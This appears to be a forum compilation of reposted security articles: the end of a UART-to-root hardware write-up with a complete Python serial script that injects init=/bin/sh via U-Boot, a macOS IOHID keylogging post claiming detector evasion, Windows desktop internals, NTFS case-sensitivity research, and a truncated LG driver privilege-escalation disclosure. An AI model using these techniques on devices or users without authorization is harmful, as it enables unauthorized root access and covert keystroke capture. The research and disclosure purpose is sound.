image (dtb) 4273569 0x4135A1 Unix path: /var/run/L 4932888 0x4B4518 xz compressed data 5359334 0x51C6E6 LZ4 compressed data, legacy 5513216 0x542000 uImage header, header size: 64 bytes, header CRC: 0x665C5745, created: 2018-09-26 16:36:26, image size: 2397 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x9F621F80, OS: Linux, CPU: ARM, image type: Script file, compression type: none, image name: "boot script" 5517312 0x543000 device tree image (dtb) ... During this time, I also discovered that there appeared to be some sort of watch-dog active that would completely reset the device after about 2 minutes of playing around in U-boot’s menu options. As a note: I don’t believe this was an intended “Security” function but rather an unintended effect caused by the rest of the device (attached to the cl-som-imx6) after it failed to fully boot after X time. After an hour or so reading the UART output during boot and attempting to understand the logic flow of the environment variables, I discovered that U-boot was calling a boot script before it touched any of my edited boot args. Luckily for me, this boot script was being called from the eMMC’s boot partition, which I had dumped previously. Binwalk quickly identified the boot script’s location, but failed to extract it. Using the offset of the script as a starting point and the offset of the following signature as the end point, I used dd to extract the script. As luck would have it, the script was actually a script (plaintext) and not a binary. 1 2 3 4 # dd if=partition1.bin of=boot.script skip=5513216 count=4096 bs=1 4096+0 records in 4096+0 records out 4096 bytes (4.1 kB, 4.0 KiB) copied, 0.0173901 s, 236 kB/s The script was exactly 80 lines and contained several if/else statements, but most importantly, it had only one line setting the bootargs. At this point, my theory was that the only environment variables that mattered were being set by this script. I needed to modify this script to add init=/bin/sh. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 # cat boot.script setenv loadaddr 0x10800000 setenv fdt_high 0xffffffff setenv fdt_addr 0x15000000 setenv bootm_low 0x15000000 setenv kernel_file zImage setenv vmalloc vmalloc=256M setenv cma cma=384M setenv dmfc dmfc=3 setenv console ttymxc3,115200 setenv env_addr 0x10500000 setenv env_file boot.env setenv ext_env ext_env=empty ... setenv setup_args 'setenv bootargs console=${console} root=${rootdev} rootfstype=ext4 rw rootwait ${ext}' ... The next hurdle was that I didn’t have a direct way of modifying the contents of the eMMC without removing it and that’s the easy part. Getting it back on the SOM would have been tougher work than I was willing to tackle at the time. The Solution Without a simple way to modify the boot script, I decided to try to manually copy and paste each line of the script into the U-boot menu shell and, if necessary, remove all other environment variables. I ran into two problems with this approach. First, any line over 34 characters that I tried to paste got truncated to 34. This was likely just caused by the ft232h buffer or something else with the serial connection. Second, and more annoying, was the watch-dog reset. There was simply no way I was going to paste in 80 lines (especially as many would require multiple c/p’s due to the 34 char limit). Even after removing as much as possible My only answer was to automate the process. I had previously been playing around with the idea of bruteforcing simple 4 digit security codes, so I already had the outline of a script ready. I modified the script to read lines from an input file and write them to the serial device, where any line over 32 (to be safe) characters would be chucked up. To ensure data was sent at the correct time, I put made sure the script waited for the shell prompt to return before sending the next line, with an additional .5 second sleep for good measure. Also, since the script would take over my ft232h, I needed to make sure it stopped autoboot at the correct time to enter the U-Boot shell. This approach worked perfectly and I was dropped into a /bin/sh shell as root. I then took control of my ft232h again so I could interact manually. With a quick passwd, I changed the root password and rebooted. As the modified environment variables didn’t persist through reboot, the device booted as normal and presented me with a login prompt. I entered my newly set password and I was in. Serial and script output ending in shell Changing password I’d post a screenshot of the final successful login after full boot, but I’d have to redact too much stuff that it doesn’t make any sense. As a note: So I could keep an eye on everything, I used a second ft232h to watch the target’s TX pin and since it echoed everything back, I could also see my script’s input. Also, the watch-dog was still in effect since the device didn’t boot as it should have, therefore I had to be quick on the passwd. The Script Below is the script exactly as I used it. With a touch of modification to the until1 and until2 vars, it should be useable for other targets. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #!/usr/bin/env python # By Mike Kelly # exfil.co # @lixmk import serial import sys import argparse import re from time import sleep # Key words until1 = "Hit any key to stop autoboot:" until2 = "SOM-iMX6 #" # Read from device until prompt identifier # Not using resp in this, but you can def read_until(until): resp = "" while until not in resp: resp += dev.read(1) return resp def serialprint(): # Get to U-Boot Shell read_until(until1) dev.write("\n") # Wait for U-Boot Prompt read_until(until2) sleep(.5) dev.write("\n") with open(infile) as f: lines = f.readlines() for line in lines: # Lines < 32 if len(line) < 32: read_until(until2) sleep(.5) print "Short Line: "+line.rstrip("\n") dev.write(line) # Break up longer lines else: read_until(until2) sleep(.5) for chunk in re.findall('.{1,32}', line): print "Long Line: "+chunk.rstrip("\n") dev.write(chunk) sleep(.5) dev.write("\n") print "" print "Done... Got root?" exit() if __name__ == '__main__': # Argument parsing parser = argparse.ArgumentParser(usage='./setenv.py -d /dev/ttyUSB0 -b 115200 -f infile.txt') parser.add_argument('-d', '--device', required=True, help='Serial Device path ie: /dev/ttyUSB0') parser.add_argument('-b', '--baud', required=True, type=int, help='Serial Baud rate') parser.add_argument('-f', '--infile', type=str, help="Input file") args = parser.parse_args() device = args.device baud = args.baud infile = args.infile # Configuring device dev = serial.Serial(device, baud, timeout=5) # Executing serialprint() Sursa: https://exfil.co/2019/02/14/uart-to-root-the-harder-way/
-
Saturday, February 16, 2019 macOS - keylogging through HID device interface Just for fun I started to dig into how could I write a piece of software to detect rubber ducky style attacks on macOS. While I was reading through the IOKit API, and digging into the various functions and how everything works, I came across an API call, called IOHIDManagerRegisterInputValueCallback, which sounded very interesting although wasn’t related to what I was looking for. At first read it sounded that you can monitor USB device input. My first trials with the enumeration showed that the built in keyboard on a MacBook Pro is also connecting through the USB / IOHID interface. That made think if I could log keystrokes via this API call. At this point I got totally distracted from my original goal, but I will get back to that later Looking up the function on Apple’s website confirmed my suspicion, it says: IOHIDManagerRegisterInputValueCallback Registers a callback to be used when an input value is issued by any enumerated device. Nice! Since I’m still a complete n00b to either Swift and Objective-C I tried to lookup on Google if someone wrote a key logger such this, and basically I found a good code here: macos - How to tap/hook keyboard events in OSX and record which keyboard fires each event - Stack Overflow This is very well written and you can use it as is, although it doesn’t resolve scan code to actual keys. The mapping is available in one of the header files: MacOSX-SDKs/IOHIDUsageTables.h at master · phracker/MacOSX-SDKs · GitHub With this I extended the code to use this mapping, and also write output to a file, and it works pretty nicely. I uploaded it here: https://github.com/theevilbit/macos/tree/master/USBKeyLog Then a googled a bit more, and came across this code, which is very-very nice, and does it way-way better then my: GitHub - SkrewEverything/Swift-Keylogger: Keylogger for mac written in Swift using HID Hacking: Keylogger for macOS. *No permissions needed to run* The benefit of this method over the one that uses CGEventTap (common used in malware) is: you don’t need root privileges runs even on Mojave without asking for Accessibility permissions not (yet??) detected by ReiKey The CGEventTap method is very deeply covered in Patrick Wardle's excellent videos Patrick Wardle - YouTube and the code is available in his GitHub repo GitHub - objective-see/sniffMK: sniff mouse and keyboard events Posted by Csaba Fitzl at 11:10 PM Sursa: https://theevilbit.blogspot.com/2019/02/macos-keylogging-through-hid-device.html
-
Windows 10 Desktops vs. Sysinternals Desktops One of the new Windows 10 features visible to users is the support for additional “Desktops”. It’s now possible to create additional surfaces on which windows can be used. This idea is not new – it has been around in the Linux world for many years (e.g. KDE, Gnome), where users have 4 virtual desktops they can use. The idea is that to prevent clutter, one desktop can be used for web browsing, for example, and another desktop can be used for all dev work, and yet a third desktop could be used for all social / work apps (outlook, WhatsApp, Facebook, whatever). To create an additional virtual desktop on Windows 10, click on the Task View button on the task bar, and then click the “New Desktop” button marked with a plus sign. Now you can switch between desktops by clicking the appropriate desktop button and then launch apps as usual. It’s even possible (by clicking Task View again) to move windows from desktop to desktop, or to request that a window be visible on all desktops. The Sysinternals tools had a tool called “Desktops” for many years now. It too allows for creation of up to 4 desktops where applications can be launched. The question is – is this Desktops tool the same as the Windows 10 virtual desktops feature? Not quite. First, some background information. In the kernel object hierarchy under a session object, there are window stations, desktops and other objects. Here’s a diagram summarizing this tree-like relationship: As can be seen in the diagram, a session contains a set of Window Stations. One window station can be interactive, meaning it can receive user input, and is always called winsta0. If there are other window stations, they are non-interactive. Each window station contains a set of desktops. Each of these desktops can hold windows. So at any given moment, an interactive user can interact with a single desktop under winsta0. Upon logging in, a desktop called “Default” is created and this is where all the normal windows appear. If you click Ctrl+Alt+Del for example, you’ll be transferred to another desktop, called “Winlogon”, that was created by the winlogon process. That’s why your normal windows “disappear” – you have been switched to another desktop where different windows may exist. This switching is done by a documented function – SwitchDesktop. And here lies the difference between the Windows 10 virtual desktops and the Sysinternals desktops tool. The desktops tool actually creates desktop objects using the CreateDesktop API. In that desktop, it launches Explorer.exe so that a taskbar is created on that desktop – initially the desktop has nothing on it. How can desktops launch a process that by default creates windows in a different desktop? This is possible to do with the normal CreateProcess function by specifying the desktop name in the STARTUPINFO structure’s lpDesktop member. The format is “windowstation\desktop”. So in the desktops tool case, that’s something like “winsta0\Sysinternals Desktop 1”. How do I know the name of the Sysinternals desktop objects? Desktops can be enumerated with the EnumDesktops API. I’ve written a small tool, that enumerates window stations and desktops in the current session. Here’s a sample output when one additional desktop has been created with “desktops”: In the Windows 10 virtual desktops feature, no new desktops are ever created. Win32k.sys just manipulates the visibility of windows and that’s it. Can you guess why? Why doesn’t Window 10 use the CreateDesktop/SwitchDesktop APIs for its virtual desktop feature? The reason has to do with some limitations that exist on desktop objects. For one, a window (technically a thread) that is bound to a desktop cannot be switched to another; in other words, there is no way to transfer a windows from one desktop to another. This is intentional, because desktops provide some protection. For example, hooks set with SetWindowsHookEx can only be set on the current desktop, so cannot affect other windows in other desktops. The Winlogon desktop, as another example, has a strict security descriptor that prevents non system-level users from accessing that desktop. Otherwise, that desktop could have been tampered with. The virtual desktops in Windows 10 is not intended for security purposes, but for flexibility and convenience (security always “contradicts” convenience). That’s why it’s possible to move windows between desktops, because there is no real “moving” going on at all. From the kernel’s perspective, everything is still on the same “Default” desktop. Sursa: https://scorpiosoftware.net/2019/02/17/windows-10-desktops-vs-sysinternals-desktops/
-
Sunday, 17 February 2019 NTFS Case Sensitivity on Windows Back in February 2018 Microsoft released on interesting blog post (link) which introduced per-directory case-sensitive NTFS support. MS have been working on making support for WSL more robust and interop between the Linux and Windows side of things started off a bit rocky. Of special concern was the different semantics between traditional Unix-like file systems and Windows NTFS. I always keep an eye out for new Windows features which might have security implications and per-directory case sensitivity certainly caught my attention. With 1903 not too far off I thought it was time I actual did a short blog post about per-directory case-sensitivity and mull over some of the security implications. While I'm at it why not go on a whistle-stop tour of case sensitivity in Windows NT over the years. Disclaimer. I don't currently and have never previously worked for Microsoft so much of what I'm going to discuss is informed speculation. The Early Years The Windows NT operating system has had the ability to have case-sensitive files since the very first version. This is because of the OS's well known, but little used, POSIX subsystem. If you look at the documentation for CreateFile you'll notice a flag, FILE_FLAG_POSIX_SEMANTICS which is used for the following purposes: "Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming." It's make sense therefore that all you'd need to do to get a case-sensitive file system is use this flag exclusively. Of course being an optional flag it's unlikely that the majority of Windows software will use it correctly. You might wonder what the flag is actually doing, as CreateFile is not a system call. If we dig into the code inside KERNEL32 we'll find the following: BOOL CreateFileInternal(LPCWSTR lpFileName, ..., DWORD dwFlagsAndAttributes) { // ... OBJECT_ATTRIBUTES ObjectAttributes; if (dwFlagsAndAttributes & FILE_FLAG_POSIX_SEMANTICS){ ObjectAttributes.Attributes = 0; } else { ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; } NtCreateFile(..., &ObjectAttributes, ...); } This code shows that if the FILE_FLAG_POSIX_SEMANTICS flag is set, the the Attributes member of the OBJECT_ATTRIBUTES structure passed to NtCreateFile is initialized to 0. Otherwise it's initialized with the flag OBJ_CASE_INSENSITIVE. The OBJ_CASE_INSENSITIVE instructs the Object Manager to do a case-insensitive lookup for a named kernel object. However files do not directly get parsed by the Object Manager, so the IO manager converts this flag to the IO_STACK_LOCATION flag SL_CASE_SENSITIVE before handing it off to the file system driver in an IRP_MJ_CREATE IRP. The file system driver can then honour that flag or not, in the case of NTFS it honours it and performs a case-sensitive file search instead of the default case-insensitive search. Aside. Specifying FILE_FLAG_POSIX_SEMANTICS supports one other additional feature of CreateFile that I can see. By specifying FILE_FLAG_BACKUP_SEMANTICS, FILE_FLAG_POSIX_SEMANTICS and FILE_ATTRIBUTE_DIRECTORY in the dwFlagsAndAttributes parameter and CREATE_NEW as the dwCreationDisposition parameter the API will create a new directory and return a handle to it. This would normally require calling CreateDirectory, then a second call to open or using the native NtCreateFile system call. NTFS always supported case-preserving operations, so creating the file AbC.txt will leave the case intact. However when it does an initial check to make sure the file doesn't already exist if you request abc.TXT then NTFS would find it during a case-insensitive search. If the create is done case-sensitive then NTFS won't find the file and you can now create the second file. This allows NTFS to support full case-sensitivity. It seems too simple to create files in a case-sensitive manner, just use the FILE_FLAG_POSIX_SEMANTICS flag or don't pass OBJ_CASE_INSENSITIVE to NtCreateFile. Let's try that using PowerShell on a default installation on Windows 10 1809 to see if that's really the case. First we create a file with the name AbC.txt, as NTFS is case preserving this will be the name assigned to it in the file system. We then open the file first with the OBJ_CASE_INSENSITIVE attribute flag set and specifying the name all in lowercase. As expected we open the file and displaying the name shows the case-preserved form. Next we do the same operation without the OBJ_CASE_INSENSITIVE flag, however unexpectedly it still works. It seems the kernel is just ignoring the missing flag and doing the open case-insensitive. It turns out this is by design, as case-insensitive operation is defined as opt-in no one would ever correctly set the flag and the whole edifice of the Windows subsystem would probably quickly fall apart. Therefore honouring enabling support for case-sensitive operation is behind a Session Manager Kernel Registry value, ObCaseInsensitive. This registry value is reflected in the global kernel variable, ObpCaseInsensitive which is set to TRUE by default. There's only one place this variable is used, ObpLookupObjectName, which looks like the following: NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes, ...) { // ... DWORD Attributes = ObjectAttributes->Attributes; if (ObpCaseInsensitive) { Attributes |= OBJ_CASE_INSENSITIVE; } // Continue lookup. } From this code we can see if ObpCaseInsensitive set to TRUE then regardless of the Attribute flags passed to the lookup operation OBJ_CASE_INSENSITIVE is always set. What this means is no matter what you do you can't perform a case-sensitive lookup operation on a default install of Windows. Of course if you installed the POSIX subsystem you'll typically find the kernel variable set to FALSE which would enable case-sensitive operation for everyone, at least if they forget to set the flags. Let's try the same test again with PowerShell but make sure ObpCaseInsensitive is FALSE to see if we now get the expected operation. With the OBJ_CASE_INSENSITIVE flag set we can still open the file AbC.txt with the lower case name. However without specifying the flag we we get STATUS_OBJECT_NAME_NOT_FOUND which indicates the lookup operation failed. Windows Subsystem for Linux Let's fast forward to the introduction of WSL in Windows 10 1607. WSL needed some way of representing a typical case-sensitive Linux file system. In theory the developers could have implemented it on top of a case-insensitive file system but that'd likely introduce too many compatibility issues. However just disabling ObCaseInsensitive globally would likely introduce their own set of compatibility issues on the Windows side. A compromise was needed to support case-sensitive files on an existing volume. Aside. It could be argued that Unix-like operating systems (including Linux) don't have a case-sensitive file system at all, but a case-blind file system. Most Unix-like file systems just treat file names on disk as strings of opaque bytes, either the file name matches a sequence of bytes or it doesn't. The file system doesn't really care whether any particular byte is a lower or upper case character. This of course leads to interesting problems such as where two file names which look identical to a user can have different byte representations resulting in unexpected failures to open files. Some file systems such macOS's HFS+ use Unicode Normalization Forms to make file names have a canonical byte representation to make this easier but leads to massive additional complexity, and was infamously removed in the successor APFS. UPDATE: It's been pointed out that Apple actually reversed the APFS change in iOS 11/macOS 10.13. This compromise can be found back in ObpLookupObjectName as shown below: NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes, ...) { // ... DWORD Attributes = ObjectAttributes->Attributes; if (ObpCaseInsensitive && KeGetCurrentThread()->CrossThreadFlags.ExplicitCaseSensitivity == FALSE) { Attributes |= OBJ_CASE_INSENSITIVE; } // Continue lookup. } In the code we now find that the existing check for ObpCaseInsensitive is augmented with an additional check on the current thread's CrossThreadFlags for the ExplicitCaseSensitivity bit flag. Only if the flag is not set will case-insensitive lookup be forced. This looks like a quick hack to get case-sensitive files without having to change the global behavior. We can find the code which sets this flag in NtSetInformationThread. NTSTATUS NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength) { switch(ThreadInformationClass) { case ThreadExplicitCaseSensitivity: if (ThreadInformationLength != sizeof(DWORD)) return STATUS_INFO_LENGTH_MISMATCH; DWORD value = *((DWORD*)ThreadInformation); if (value) { if (!SeSinglePrivilegeCheck(SeDebugPrivilege, PreviousMode)) return STATUS_PRIVILEGE_NOT_HELD; if (!RtlTestProtectedAccess(Process, 0x51) ) return STATUS_ACCESS_DENIED; } if (value) Thread->CrossThreadFlags.ExplicitCaseSensitivity = TRUE; else Thread->CrossThreadFlags.ExplicitCaseSensitivity = FALSE; break; } // ... } Notice in the code to set the the ExplicitCaseSensitivity flag we need to have both SeDebugPrivilege and be a protected process at level 0x51 which is PPL at Windows signing level. This code is from Windows 10 1809, I'm not sure it was this restrictive previously. However for the purposes of WSL it doesn't matter as all processes are gated by a system service and kernel driver so these checks can be easily bypassed. As any new thread for a WSL process must go via the Pico process driver this flag could be automatically set and everything would just work. Per-Directory Case-Sensitivity A per-thread opt-out from case-insensitivity solved the immediate problem, allowing WSL to create case-sensitive files on an existing volume, but it didn't help Windows applications inter-operating with files created by WSL. I'm guessing NTFS makes no guarantees on what file will get opened if performing a case-insensitive lookup when there's multiple files with the same name but with different case. A Windows application could easily get into difficultly trying to open a file and always getting the wrong one. Further work was clearly needed, so introduced in 1803 was the topic at the start of this blog, Per-Directory Case Sensitivity. The NTFS driver already handled the case-sensitive lookup operation, therefore why not move the responsibility to enable case sensitive operation to NTFS? There's plenty of spare capacity for a simple bit flag. The blog post I reference at the start suggests using the fsutil command to set case-sensitivity, however of course I want to know how it's done under the hood so I put fsutil from a Windows Insider build into IDA to find out what it was doing. Fortunately changing case-sensitivity is now documented. You pass the FILE_CASE_SENSITIVE_INFORMATION structure with the FILE_CS_FLAG_CASE_SENSITIVE_DIR set via NtSetInformationFile to a directory. with the FileCaseSensitiveInformation information class. We can see the implementation for this in the NTFS driver. NTSTATUS NtfsSetCaseSensitiveInfo(PIRP Irp, PNTFS_FILE_OBJECT FileObject) { if (FileObject->Type != FILE_DIRECTORY) { return STATUS_INVALID_PARAMETER; } NSTATUS status = NtfsCaseSensitiveInfoAccessCheck(Irp, FileObject); if (NT_ERROR(status)) return status; PFILE_CASE_SENSITIVE_INFORMATION info = (PFILE_CASE_SENSITIVE_INFORMATION)Irp->AssociatedIrp.SystemBuffer; if (info->Flags & FILE_CS_FLAG_CASE_SENSITIVE_DIR) { if ((g_NtfsEnableDirCaseSensitivity & 1) == 0) return STATUS_NOT_SUPPORTED; if ((g_NtfsEnableDirCaseSensitivity & 2) && !NtfsIsFileDeleteable(FileObject)) { return STATUS_DIRECTORY_NOT_EMPTY; } FileObject->Flags |= 0x400; } else { if (NtfsDoesDirHaveCaseDifferingNames(FileObject)) { return STATUS_CASE_DIFFERING_NAMES_IN_DIR; } FileObject->Flags &= ~0x400; } return STATUS_SUCCESS; } There's a bit to unpack here. Firstly you can only apply this to a directory, which makes some sense based on the description of the feature. You also need to pass an access check with the call NtfsCaseSensitiveInfoAccessCheck. We'll skip over that for a second. Next we go into the actual setting or unsetting of the flag. Support for Per-Directory Case-Sensitivity is not enabled unless bit 0 is set in the global g_NtfsEnableDirCaseSensitivity variable. This value is loaded from the value NtfsEnableDirCaseSensitivity in HKLM\SYSTEM\CurrentControlSet\Control\FileSystem, the value is set to 0 by default. This means that this feature is not available on a fresh install of Windows 10, almost certainly this value is set when WSL is installed, but I've also found it on the Microsoft app-development VM which I don't believe has WSL installed, so you might find it enabled in unexpected places. The g_NtfsEnableDirCaseSensitivity variable can also have bit 1 set, which indicates that the directory must be empty before changing the case-sensitivity flag (checked with NtfsIsFileDeleteable) however I've not seen that enabled. If those checks pass then the flag 0x400 is set in the NTFS file object. If the flag is being unset the only check made is whether the directory contains any existing colliding file names. This seems to have been added recently as when I originally tested this feature in an Insider Preview you could disable the flag with conflicting filenames which isn't necessarily sensible behavior. Going back to the access check, the code for NtfsCaseSensitiveInfoAccessCheck looks like the following: NTSTATUS NtfsCaseSensitiveInfoAccessCheck(PIRP Irp, PNTFS_FILE_OBJECT FileObject) { if (NtfsEffectiveMode(Irp) || FileObject->Access & FILE_WRITE_ATTRIBUTES) { PSECURITY_DESCRIPTOR SecurityDescriptor; SECURITY_SUBJECT_CONTEXT SubjectContext; SeCaptureSubjectContext(&SubjectContext); NtfsLoadSecurityDescriptor(FileObject, &SecurityDescriptor); if (SeAccessCheck(SecurityDescriptor, &SubjectContext FILE_ADD_FILE | FILE_ADD_SUBDIRECTORY | FILE_DELETE_CHILD)) { return STATUS_SUCCESS; } } return STATUS_ACCESS_DENIED; } The first check ensures the file handle is opened with FILE_WRITE_ATTRIBUTES access, however that isn't sufficient to enable the flag. The check also ensures that if an access check is performed on the directory's security descriptor that the caller would be granted FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY and FILE_DELETE_CHILD access rights. Presumably this secondary check is to prevent situations where a file handle was shared to another process with less privileges but with FILE_WRITE_ATTRIBUTES rights. If the security check is passed and the feature is enabled you can now change the case-sensitivity behavior, and it's even honored by arbitrary Windows applications such as PowerShell or notepad without any changes. Also note that the case-sensitivity flag is inherited by any new directory created under the original. Security Implications of Per-Directory Case-Sensitivity Let's get on to the thing which interests me most, what's the security implications on this feature? You might not immediately see a problem with this behavior. What it does do is subvert the expectations of normal Windows applications when it comes to the behavior of file name lookup with no way of of detecting its use or mitigating against it. At least with the FILE_FLAG_POSIX_SEMANTICS flag you were only introducing unexpected case-sensitivity if you opted in, but this feature means the NTFS driver doesn't pay any attention to the state of OBJ_CASE_INSENSITIVE when making its lookup decisions. That's great from an interop perspective, but less great from a correctness perspective. Some of the use cases I could see this being are problem are as follows: TOCTOU where the file name used to open a file has its case modified between a security check and the final operation resulting in the check opening a different file to the final one. Overriding file lookup in a shared location if the create request's case doesn't match the actual case of the file on disk. This would be mitigated if the flag to disable setting case-sensitivity on empty directories was enabled by default. Directory tee'ing, where you replace lookup of an earlier directory in a path based on the state of the case-sensitive flag. This at least is partially mitigated by the check for conflicting file names in a directory, however I've no idea how robust that is. I found it interesting that this feature also doesn't use RtlIsSandboxToken to check the caller's not in a sandbox. As long as you meet the access check requirements it looks like you can do this from an AppContainer, but its possible I missed something. On the plus side this feature isn't enabled by default, but I could imagine it getting set accidentally through enterprise imaging or some future application decides it must be on, such as Visual Studio. It's a lot better from a security perspective to not turn on case-sensitivity globally. Also despite my initial interest I've yet to actual find a good use for this behavior, but IMO it's only a matter of time Posted by tiraniddo at 15:30 Sursa: https://tyranidslair.blogspot.com/2019/02/ntfs-case-sensitivity-on-windows.html
-
CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver Sun 17 February 2019 TL;DR: CVE for driver-based LPE with an in-depth tutorial on discovery to root and details on two new tools. At the end of this, we'll better understand how to select worthwhile targets for driver vulnerability research, analyze them for vulnerabilities, and learn an exploitation technique for elevating privileges. If this sounds like your cup of tea, then grab it and start sipping. Part 1: Vulnerability Details Part 2: Discovery Walkthrough Part 3: Exploitation Walkthrough Vulnerability Summary The LHA kernel-mode driver (lha.sys/lha32.sys, v1.1.1703.1700) is associated with the LG Device Manager system service. The service loads the driver if it detects that the Product Name in the BIOS has one of the following substrings: T350, 10T370, 15U560, 15UD560, 14Z960, 14ZD960, 15Z960, 15ZD960, or Skylake Platform. This probably indicates that the driver loads with those associated models which happen to have the 6th-gen Intel Core processors (Skylake). This driver is used for Low-level Hardware Access (LHA) and includes IOCTL dispatch functions that can be used to read and write to arbitrary physical memory. When it is loaded, the device created by the driver is accessible to non-administrative users which could allow them to leverage those functions to elevate privileges. As shown in the screen recording below, these functions were leveraged to elevate privileges from a standard account by searching physical memory for the EPROCESS security token of the System process and writing it into the EPROCESS structure for the PowerShell process. The suggested remediation was to replace the IoCreateDevice call in the driver with IoCreateDeviceSecure. This works as a perimeter defence by specifying an SDDL string such that only processes running in the context of SYSTEM will be allowed to create a handle. Considering that Device Manager service executes in that context, this should not interfere with its ability to load and use the driver. Disclosure Timeline 2018-11-11: Discovered vulnerability. 2018-11-14: Developed baseline proof-of-concept for Windows 7 x64. 2018-11-17: Refactored exploit for robustness, readability, and compatibility with Windows 10 x64. 2018-11-18: Disclosed vulnerability to LG PSRT and received confirmation of submission. 2018-11-21: Received acknowledgement that they intend to fix the vulnerability ASAP. 2018-11-26: Received request to validate remediation on a updated version of the driver. 2018-11-27: Driver was validated and proposed remediation was implemented correctly. 2019-02-13: Received confirmation that a patch is being released. The LG PSRT team was responsive and cooperative. It only took them a week to develop an update for review, and that's not always easy to do in similar organizations. I would work with them again should the opportunity arise. Technical Walkthrough The remainder of this post is written as an end-to-end tutorial that goes over how the vulnerability was found, the exploit development process, and some other musings. I wanted to write this in a way to make it somewhat more accessible to folks who are already familiar with reversing on Windows but new to driver vulnerability research. At the bottom, I have a section for related resources and write-ups that I found useful. Feel free to ping me if there's anything that requires further elaboration. Vulnerability Discovery Finding vulnerabilities in an OEM or enterprise master image can be useful from an offensive perspective because of the potential blast radius that comes with a wide deployment. The goals can typically involve finding a combination of remote code execution (RCE), local privilege elevation (LPE), and sensitive data exposure. Check out my previous post for a methodology intro. When it comes to software bugs that lead to LPE, you can look for customizations introduced into the master image such as system services and kernel-mode drivers which run in a privileged context and may not receive as much scrutiny. For more information on the different avenues for LPE, there's an informative talk by Teymur Kheirkhabarov worth checking out. In the big picture, finding LPE should be chained with an RCE vector, and the LPE may not be as necessary if the target user is already an administrator as they are on most consumer PCs. When it came to this vulnerable driver, I started by looking at a list of loaded drivers using tools like DriverView and driverquery to find any unique LG-made or third-party drivers that may not receive as much scrutiny as a result of their scarcity. I found it peculiar that the LHA driver would load from Program Files instead of C:\Windows\system32\drivers. It was in the directory for LG Device Manager, so it was worth analyzing those binaries to see how they interact with the driver. This can give context into how the driver is loaded and how user-mode programs can interact with it. The latter can be especially useful for getting more semantic context into what would otherwise be the disorienting array of disassembly you would see in IDA. On the topic of semantic context, some online searches indicate that the acronym in LHA.sys refers to "Low-level Hardware Access". This type of driver allows system services developed by OEMs to trigger system management interrupts (SMIs) as well as read and write physical memory and model-specfic registers (MSRs)—all of which are privileged actions that can only occur in kernel-mode. Vulnerabilities were also found in similar drivers made by ASUS (@gsuberland and @slipstream), MSI (@ReWolf), and Dell (@hatRiot). Alex Matrosov also describes the "dual-use" nature of these drivers in rootkit development. As what we're about to embark on is not particularly novel, we have a defined path ahead of us in terms of what to expect. At this point we should determine: The constraints under which the driver is loaded (e.g. when and how), Whether low-privileged processes (LPPs) can interact with it, and if so, Whether it exposes any functionality that can be abused toward LPE. The DeviceManager.exe binary appears to be a .NET assembly, so let's take a closer look with dnSpy, a .NET decompiler and debugger. You can follow along by downloading the Device Manager installer. We can see that there's a driverInitialize method that installs and loads the driver. The command line equivalent of doing the same is below. Mind the space after binPath= and type=. λ sc create LHA.sys binpath= "C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys" type= kernel [SC] CreateService SUCCESS λ sc start LHA.sys SERVICE_NAME: LHA.sys TYPE : 1 KERNEL_DRIVER STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 0 FLAGS : This answers how the driver is loaded, so let's figure out when. You can select the method name in dnSpy and hit Ctrl+Shift+R to analyze call flows. We'll want to analyze calls that start from the service's OnStart method and flow toward the driverInitialize method. The OnStart method first determines the model of the unit, and from there calls OnStartForXXXXXX functions that are specific to the current model. A subset of those model-specific functions will then eventually call driverInitialize. The ResumeTimer_Elapsed method which is called from a number of model-specific functions is associated with a Timer object which means it doesn't get executed immediately (e.g. 20s to 120s after depending on the model). Although it looks like this driver is loaded on a subset of models, it's still worth checking for any avenues where user-influenced input can expand the blast radius. Perhaps if we can trick the onStart method into thinking the current model is actually one from the subset (e.g. 15Z960 instead of 15Z980), then we can have the execution flow toward the branches that will eventually call driverInitialize. It turns out that it sources the model number from HKLM\HARDWARE\DESCRIPTION\System\BIOS. As this is in the HKEY_LOCAL_MACHINE registry hive, an LPP would not be able to modify contents. If that was possible, then we could stop here because there would be plenty of easier ways to gain LPE. We now know that the driver loads when the service identifies the unit's model from a whitelist and that it doesn't load immediately after the service starts. Now let's figure out how LPPs can interact with it. Not every driver provides a path toward LPE, and some initial recon will be helpful in determining if it's worth investigating further. In order for low-privileged users to interact with a driver, the following conditions must be satisfied: The driver must be loaded and create a device object. The device object must have a symbolic link associated with it. The DACL of the device object must be configured so that non-admins can R/W. The Driver Initial Reconnaissance Tool, DIRT, helps with identifying those candidates with the --lp-only switch. As we can see below, the LHA driver is loaded and one device object is created. The device is accessible by LPPs because it has an open DACL and a symbolic link (\\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}). It also has a registered DispatchDeviceControl function which may indicate that it has defined IOCTL dispatch functions that can be called from user-mode via DeviceIoControl. λ dirt.exe --no-msft --lp-only DIRT v0.1.1: Driver Initial Reconnaisance Tool (@Jackson_T) Repository: https://github.com/jthuraisamy/DIRT Compiled on: Aug 25 2018 19:25:11 INFO: Hiding Microsoft drivers (--no-msft). INFO: Only showing drivers that low-privileged users can interface with (--lp-only). lha.sys: lha.sys (LG Electronics Inc.) Path: C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys DispatchDeviceControl: 0xFFFFF8012E9C32E0 Devices: 1 └── \Device\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} (open DACL, 1 symlinks) └── \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} DeviceIoControl is one way of interacting with the driver, and other 